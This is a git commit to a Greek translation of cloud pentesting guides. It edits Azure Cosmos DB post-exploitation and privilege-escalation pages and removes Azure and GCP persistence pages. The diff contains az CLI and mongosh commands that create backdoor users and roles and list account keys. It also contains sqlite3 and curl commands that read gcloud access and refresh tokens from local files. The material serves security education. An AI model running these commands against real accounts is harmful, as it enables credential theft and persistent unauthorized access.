Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-02-20 23:14:56 +00:00
parent 8040d258c5
commit 2b7ab12b9b
7 changed files with 73 additions and 197 deletions

File diff suppressed because one or more lines are too long

View File

@@ -142,7 +142,7 @@
- [GCP - Logging Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md)
- [GCP - Secret Manager Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md)
- [GCP - Storage Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md)
- [GCP - Token Persistance](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md)
- [GCP - Token Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md)
- [GCP - Services](pentesting-cloud/gcp-security/gcp-services/README.md)
- [GCP - AI Platform Enum](pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md)
- [GCP - API Keys Enum](pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md)
@@ -458,8 +458,8 @@
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
- [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
- [Az - MySQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
- [Az - PostgreSQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
@@ -489,8 +489,8 @@
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
- [Az - Automation Accounts Persistence](pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md)
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistance.md)
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md)
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistence.md)
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
- [Az - Device Registration](pentesting-cloud/azure-security/az-device-registration.md)

View File

@@ -1,29 +0,0 @@
# Az - Queue Storage Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Queue
Για περισσότερες πληροφορίες ελέγξτε:
{{#ref}}
../az-services/az-queue.md
{{#endref}}
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
Αυτή η άδεια επιτρέπει σε έναν επιτιθέμενο να δημιουργήσει ή να τροποποιήσει ουρές και τις ιδιότητές τους εντός του λογαριασμού αποθήκευσης. Μπορεί να χρησιμοποιηθεί για τη δημιουργία μη εξουσιοδοτημένων ουρών, την τροποποίηση μεταδεδομένων ή την αλλαγή λιστών ελέγχου πρόσβασης (ACLs) για να παραχωρήσει ή να περιορίσει την πρόσβαση. Αυτή η δυνατότητα θα μπορούσε να διαταράξει τις ροές εργασίας, να εισάγει κακόβουλα δεδομένα, να εξάγει ευαίσθητες πληροφορίες ή να χειριστεί τις ρυθμίσεις της ουράς για να επιτρέψει περαιτέρω επιθέσεις.
```bash
az storage queue create --name <new-queue-name> --account-name <storage-account>
az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
```
## Αναφορές
- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues)
- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api)
- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,20 +0,0 @@
# Az - SQL Persistence
{{#include ../../../banners/hacktricks-training.md}}
## SQL
Για περισσότερες πληροφορίες ελέγξτε:
{{#ref}}
../az-services/az-sql.md
{{#endref}}
### Κοινές Τεχνικές Διατήρησης
- Συμβιβασμός SQL credentials ή δημιουργία ενός SQL χρήστη (ενεργοποίηση SQL auth αν χρειάζεται)
- Ανάθεση ενός συμβιβασμένου χρήστη ως διαχειριστή Entra ID (ενεργοποίηση Entra ID auth αν χρειάζεται)
- Backdoor στη VM (αν χρησιμοποιείται SQL VM)
- Δημιουργία κανόνα FW για τη διατήρηση πρόσβασης στη βάση δεδομένων SQL
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -11,13 +11,26 @@
### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να ενημερώσετε λογαριασμούς Azure Cosmos DB. Αυτό περιλαμβάνει την τροποποίηση ρυθμίσεων σε επίπεδο λογαριασμού, την προσθήκη ή την αφαίρεση περιοχών, την αλλαγή επιπέδων συνέπειας και την ενεργοποίηση ή απενεργοποίηση χαρακτηριστικών όπως οι εγγραφές πολλαπλών περιοχών.
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να ενημερώσετε λογαριασμούς Azure Cosmos DB. Αυτό περιλαμβάνει την τροποποίηση ρυθμίσεων σε επίπεδο λογαριασμού, την ενεργοποίηση ή απενεργοποίηση αυτόματης εναλλαγής, τη διαχείριση ελέγχων πρόσβασης δικτύου, την ρύθμιση πολιτικών αντιγράφων ασφαλείας και την προσαρμογή επιπέδων συνέπειας. Οι επιτιθέμενοι με αυτή την άδεια θα μπορούσαν να τροποποιήσουν ρυθμίσεις για να αποδυναμώσουν τους ελέγχους ασφαλείας, να διαταράξουν τη διαθεσιμότητα ή να εξάγουν δεδομένα τροποποιώντας κανόνες δικτύου.
```bash
az cosmosdb update \
--name <account_name> \
--resource-group <resource_group_name> \
--public-network-access ENABLED
```
```bash
az cosmosdb update \
--account-name <account_name> \
--resource-group <resource_group_name> \
--capabilities EnableMongoRoleBasedAccessControl
```
Επιπλέον, μπορείτε να ενεργοποιήσετε τις διαχειριζόμενες ταυτότητες στον λογαριασμό:
```bash
az cosmosdb identity assign \
--name <cosmosdb_account_name> \
--resource-group <resource_group_name>
```
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να τροποποιήσετε κοντέινερ (συλλογές) εντός μιας SQL βάσης δεδομένων ενός λογαριασμού Azure Cosmos DB. Τα κοντέινερ χρησιμοποιούνται για την αποθήκευση δεδομένων, και οι αλλαγές σε αυτά μπορούν να επηρεάσουν τη δομή και τα πρότυπα πρόσβασης της βάσης δεδομένων.
```bash
@@ -56,7 +69,7 @@ az cosmosdb failover-priority-change \
```
### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
Με αυτή την άδεια, μπορείτε να αναγεννήσετε τα κύρια ή δευτερεύοντα κλειδιά για έναν λογαριασμό Azure Cosmos DB. Αυτό χρησιμοποιείται συνήθως για την ενίσχυση της ασφάλειας αντικαθιστώντας τα παλιά κλειδιά, αλλά μπορεί να διαταράξει την πρόσβαση για υπηρεσίες ή εφαρμογές που βασίζονται στα τρέχοντα κλειδιά.
Με αυτή την άδεια, μπορείτε να αναγεννήσετε τα κύρια ή δευτερεύοντα κλειδιά για έναν λογαριασμό Azure Cosmos DB. Αυτό χρησιμοποιείται συνήθως για την ενίσχυση της ασφάλειας αντικαθιστώντας τα παλιά κλειδιά, αλλά μπορεί να διαταράξει την πρόσβαση σε υπηρεσίες ή εφαρμογές που βασίζονται στα τρέχοντα κλειδιά.
```bash
az cosmosdb keys regenerate \
--name <account_name> \
@@ -119,52 +132,4 @@ az cosmosdb mongodb database create \
--resource-group <resource_group_name> \
--name <database_name>
```
### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες ορισμούς ρόλων MongoDB εντός ενός λογαριασμού Azure Cosmos DB. Αυτό επιτρέπει τον καθορισμό προσαρμοσμένων ρόλων με συγκεκριμένες άδειες για χρήστες MongoDB.
```bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'
```
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες ορισμούς χρηστών MongoDB εντός ενός λογαριασμού Azure Cosmos DB. Αυτό επιτρέπει την παροχή χρηστών με συγκεκριμένους ρόλους και επίπεδα πρόσβασης σε βάσεις δεδομένων MongoDB.
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "myUser",
"Password": "mySecurePassword",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -11,7 +11,7 @@
### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
Με αυτές τις άδειες μπορείτε να εκτελέσετε privilege escalation δίνοντας σε έναν χρήστη τις άδειες να εκτελεί ερωτήματα και να συνδέεται στη βάση δεδομένων. Πρώτα δημιουργείται ένας ρόλος ο οποίος δίνει τις απαραίτητες άδειες και πεδία.
Με αυτές τις άδειες μπορείτε να εκτελέσετε privilege escalation δίνοντας σε έναν χρήστη τις άδειες να εκτελεί ερωτήματα και να συνδέεται στη βάση δεδομένων. Αρχικά, δημιουργείται ένας ρόλος ο οποίος δίνει τις απαραίτητες άδειες και πεδία.
```bash
az cosmosdb sql role definition create \
--account-name <account_name> \
@@ -43,12 +43,63 @@ az cosmosdb sql role assignment create \
--principal-id <principal_id-togive-perms> \
--scope "/"
```
### (`Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`)&& (`Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`)
Με αυτή την άδεια, μπορείτε να δημιουργήσετε νέες ορισμούς ρόλων MongoDB εντός ενός λογαριασμού Azure Cosmos DB. Αυτό επιτρέπει τον καθορισμό προσαρμοσμένων ρόλων με συγκεκριμένες άδειες για χρήστες MongoDB. Οι λειτουργίες RBAC πρέπει να είναι ενεργοποιημένες για να χρησιμοποιηθεί αυτό.
```bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'
```
Μπορείτε να δημιουργήσετε νέες ορισμούς χρηστών MongoDB μέσα σε έναν λογαριασμό Azure Cosmos DB. Αυτό επιτρέπει την παροχή χρηστών με συγκεκριμένους ρόλους και πρόσβαση σε βάσεις δεδομένων MongoDB.
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "<myUser>",
"Password": "<mySecurePassword>",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'
```
Μετά από αυτό, δημιουργείται ένας νέος χρήστης μέσα στο MongoDB, μπορούμε να έχουμε πρόσβαση σε αυτόν:
```bash
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"
```
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
Με αυτή την άδεια, μπορείτε να ανακτήσετε τα κύρια και δευτερεύοντα κλειδιά για έναν λογαριασμό Azure Cosmos DB. Αυτά τα κλειδιά παρέχουν πλήρη πρόσβαση στον λογαριασμό της βάσης δεδομένων και τους πόρους του, επιτρέποντας ενέργειες όπως αναγνώσεις δεδομένων, εγγραφές και αλλαγές ρυθμίσεων.
```bash
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,90 +0,0 @@
# GCP - Διατήρηση Token
{{#include ../../../banners/hacktricks-training.md}}
### Tokens ΑυAuthenticated Χρήστη
Για να αποκτήσετε το **τρέχον token** ενός χρήστη μπορείτε να εκτελέσετε:
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
```
Ελέγξτε σε αυτή τη σελίδα πώς να **χρησιμοποιήσετε απευθείας αυτό το token χρησιμοποιώντας gcloud**:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}
Για να αποκτήσετε τις λεπτομέρειες για **να δημιουργήσετε ένα νέο access token** εκτελέστε:
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
Είναι επίσης δυνατό να βρείτε refresh tokens στο **`$HOME/.config/gcloud/application_default_credentials.json`** και στο **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
Για να αποκτήσετε ένα νέο ανανεωμένο access token με το **refresh token**, το client ID και το client secret εκτελέστε:
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
Η εγκυρότητα των refresh tokens μπορεί να διαχειριστεί από το **Admin** > **Security** > **Google Cloud session control**, και από προεπιλογή είναι ρυθμισμένο σε 16 ώρες αν και μπορεί να ρυθμιστεί να μην λήξει ποτέ:
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
### Auth flow
Η ροή αυθεντικοποίησης όταν χρησιμοποιείτε κάτι όπως το `gcloud auth login` θα ανοίξει ένα παράθυρο στον περιηγητή και μετά την αποδοχή όλων των scopes, ο περιηγητής θα στείλει ένα αίτημα όπως αυτό στην ανοιχτή θύρα http από το εργαλείο:
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
Τότε, το gcloud θα χρησιμοποιήσει την κατάσταση και τον κώδικα με ένα σκληρά κωδικοποιημένο `client_id` (`32555940559.apps.googleusercontent.com`) και **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) για να αποκτήσει τα **τελικά δεδομένα ανανέωσης του token**.
> [!CAUTION]
> Σημειώστε ότι η επικοινωνία με το localhost είναι σε HTTP, οπότε είναι δυνατόν να παγιδευτούν τα δεδομένα για να αποκτηθεί ένα refresh token, ωστόσο αυτά τα δεδομένα είναι έγκυρα μόνο 1 φορά, οπότε αυτό θα ήταν άχρηστο, είναι πιο εύκολο να διαβάσετε το refresh token από το αρχείο.
### OAuth Scopes
Μπορείτε να βρείτε όλους τους Google scopes στο [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) ή να τους αποκτήσετε εκτελώντας:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
Είναι δυνατόν να δείτε ποιες περιοχές υποστηρίζει η εφαρμογή που χρησιμοποιεί το **`gcloud`** για την αυθεντικοποίηση με αυτό το σενάριο:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
```
Μετά την εκτέλεση, ελέγχθηκε ότι αυτή η εφαρμογή υποστηρίζει αυτές τις περιοχές:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
είναι ενδιαφέρον να δούμε πώς αυτή η εφαρμογή υποστηρίζει το **`drive`** scope, το οποίο θα μπορούσε να επιτρέψει σε έναν χρήστη να κλιμακώσει από το GCP στο Workspace αν ένας επιτιθέμενος καταφέρει να αναγκάσει τον χρήστη να δημιουργήσει ένα token με αυτό το scope.
**Δείτε πώς να** [**καταχραστείτε αυτό εδώ**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
### Λογαριασμοί Υπηρεσιών
Ακριβώς όπως με τους αυθεντικοποιημένους χρήστες, αν καταφέρετε να **συμβιβάσετε το αρχείο ιδιωτικού κλειδιού** ενός λογαριασμού υπηρεσίας θα μπορείτε να **έχετε πρόσβαση σε αυτό συνήθως όσο θέλετε**.\
Ωστόσο, αν κλέψετε το **OAuth token** ενός λογαριασμού υπηρεσίας αυτό μπορεί να είναι ακόμη πιο ενδιαφέρον, γιατί, ακόμη και αν από προεπιλογή αυτά τα tokens είναι χρήσιμα μόνο για μία ώρα, αν ο **θύμα διαγράψει το ιδιωτικό api key, το OAuh token θα παραμείνει έγκυρο μέχρι να λήξει**.
### Μεταδεδομένα
Προφανώς, όσο βρίσκεστε μέσα σε μια μηχανή που τρέχει στο περιβάλλον GCP θα μπορείτε να **έχετε πρόσβαση στον λογαριασμό υπηρεσίας που είναι συνδεδεμένος σε αυτή τη μηχανή επικοινωνώντας με το endpoint μεταδεδομένων** (σημειώστε ότι τα Oauth tokens που μπορείτε να αποκτήσετε σε αυτό το endpoint είναι συνήθως περιορισμένα από scopes).
### Αντιμετώπιση
Ορισμένες αντιμετωπίσεις για αυτές τις τεχνικές εξηγούνται στο [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
### Αναφορές
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
{{#include ../../../banners/hacktricks-training.md}}